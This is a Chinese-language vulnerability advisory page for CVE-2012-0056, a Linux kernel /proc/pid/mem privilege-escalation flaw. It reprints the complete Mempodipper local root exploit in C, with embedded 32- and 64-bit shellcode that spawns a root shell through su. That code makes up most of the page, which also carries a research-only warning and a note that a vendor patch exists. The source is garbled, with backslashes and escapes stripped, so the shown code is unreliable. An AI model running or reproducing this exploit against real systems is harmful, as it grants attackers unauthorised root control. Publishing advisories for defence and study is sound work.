发布日期:2012-01-23
更新日期:2012-02-02受影响系统:
Linux kernel 2.6.x
不受影响系统:
Linux kernel 2.6.38
Linux kernel 2.6.26
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 51625
CVE ID: CVE-2012-0056Linux是自由电脑操作系统内核。Linux Kernel在SUID /proc/pid/mem write的实现上存在本地权限提升漏洞,攻击者可利用此漏洞获取提升的权限,以内核级别执行任意代码。<*来源:Juri Aedla
链接:http://www.kb.cert.org/vuls/id/470151
http://blog.zx2c4.com/749
*>测试方法:
--------------------------------------------------------------------------------
警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Juri Aedla ()提供了如下测试方法:/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I"ve put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
int n;
int sock;
char cms[CMSG_SPACE(sizeof(int))];
if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1; buf[0] = 0;
iov.iov_base = buf;
iov.iov_len = 1; memset(&msg, 0, sizeof msg);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = CMSG_LEN(sizeof(int)); cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
return -1;
close(sock);
return 0;
}int recv_fd()
{
int listener;
int sock;
int n;
int fd;
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
char cms[CMSG_SPACE(sizeof(int))]; if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
unlink(socket_path);
if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;
if (listen(listener, 1) < 0)
return -1;
if ((sock = accept(listener, NULL, NULL)) < 0)
return -1;
iov.iov_base = buf;
iov.iov_len = 1; memset(&msg, 0, sizeof msg);
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms;
msg.msg_controllen = sizeof cms; if ((n = recvmsg(sock, &msg, 0)) < 0)
return -1;
if (n == 0)
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
close(sock);
close(listener);
return fd;
}int main(int argc, char **argv)
{
if (argc > 2 && argv[1][0] == "-" && argv[1][1] == "c") {
char parent_mem[256];
sprintf(parent_mem, "/proc/%s/mem", argv[2]);
printf("[+] Opening parent mem %s in child.
", parent_mem);
int fd = open(parent_mem, O_RDWR);
if (fd < 0) {
perror("[-] open");
return 1;
}
printf("[+] Sending fd %d to parent.
", fd);
send_fd(fd);
return 0;
}
printf("===============================
");
printf("= Mempodipper =
");
printf("= by zx2c4 =
");
printf("= Jan 21, 2012 =
");
printf("===============================
");
int parent_pid = getpid();
if (fork()) {
printf("[+] Waiting for transferred fd in parent.
");
int fd = recv_fd();
printf("[+] Received fd at %d.
", fd);
if (fd < 0) {
perror("[-] recv_fd");
return -1;
}
printf("[+] Assigning fd %d to stderr.
", fd);
dup2(2, 6);
dup2(fd, 2); unsigned long address;
if (argc > 2 && argv[1][0] == "-" && argv[1][1] == "o")
address = strtoul(argv[2], NULL, 16);
else {
printf("[+] Reading su for exit@plt.
");
// Poor man"s auto-detection. Do this in memory instead of relying on objdump being installed.
FILE *command = popen("objdump -d /bin/su|grep "exit@plt"|head -n 1|cut -d " " -f 1|sed "s/^[0]*\([^0]*\)/0x\1/"", "r");
char result[32];
result[0] = 0;
fgets(result, 32, command);
pclose(command);
address = strtoul(result, NULL, 16);
if (address == ULONG_MAX || !address) {
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
");
printf("[-] Usage: %s -o ADDRESS
[-] Example: %s -o 0x402178
", argv[0], argv[0]);
return 1;
}
printf("[+] Resolved exit@plt to 0x%lx.
", address);
}
printf("[+] Calculating su padding.
");
FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
char result[256];
result[0] = 0;
fgets(result, 256, command);
pclose(command);
unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
unsigned long offset = address - su_padding;
printf("[+] Seeking to offset 0x%lx.
", offset);
lseek64(fd, offset, SEEK_SET);
#if defined(__i386__)
// See shellcode-32.s in this package for the source.
char shellcode[] =
"x31xdbxb0x17xcdx80x31xdbxb0x2excdx80x31xc9xb3"
"x06xb1x02xb0x3fxcdx80x31xc0x50x68x6ex2fx73x68"
"x68x2fx2fx62x69x89xe3x31xd2x66xbax2dx69x52x89"
"xe0x31xd2x52x50x53x89xe1x31xd2x31xc0xb0x0bxcd"
"x80";
#elif defined(__x86_64__)
// See shellcode-64.s in this package for the source.
char shellcode[] =
"x48x31xffxb0x69x0fx05x48x31xffxb0x6ax0fx05x40"
"xb7x06x40xb6x02xb0x21x0fx05x48xbbx2fx2fx62x69"
"x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xdb"
"x66xbbx2dx69x53x48x89xe1x48x31xc0x50x51x57x48"
"x89xe6x48x31xd2xb0x3bx0fx05";#else
#error "That platform is not supported."
#endif
printf("[+] Executing su with shellcode.
");
execl("/bin/su", "su", shellcode, NULL);
} else {
char pid[32];
sprintf(pid, "%d", parent_pid);
printf("[+] Executing child from child fork.
");
execl("/proc/self/exe", argv[0], "-c", pid, NULL);
}
}建议:
--------------------------------------------------------------------------------
厂商补丁:Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.kernel.org/Symantec pcAnywhere awhost32组件远程代码执行漏洞[PHP又暴重大漏洞]多语言拒绝服务漏洞事件预警相关资讯 Linux Kernel Linux漏洞
- Linux Kernel 3.14系列结束支持 (今 14:24)
- Linux kernel 2.6.32 LTS 将于下个 (01月31日)
- Linux Kernel 4.1.15发布 (12/15/2015 20:54:13)
| - Linux Kernel 开发报告 25 周年版 (09月10日)
- 敲击28次退格键之后:Linux漏洞可 (12/18/2015 11:22:28)
- Red Hat Linux 修补“libuser”库 (07/26/2015 06:39:34)
|
本文评论 查看全部评论 (0)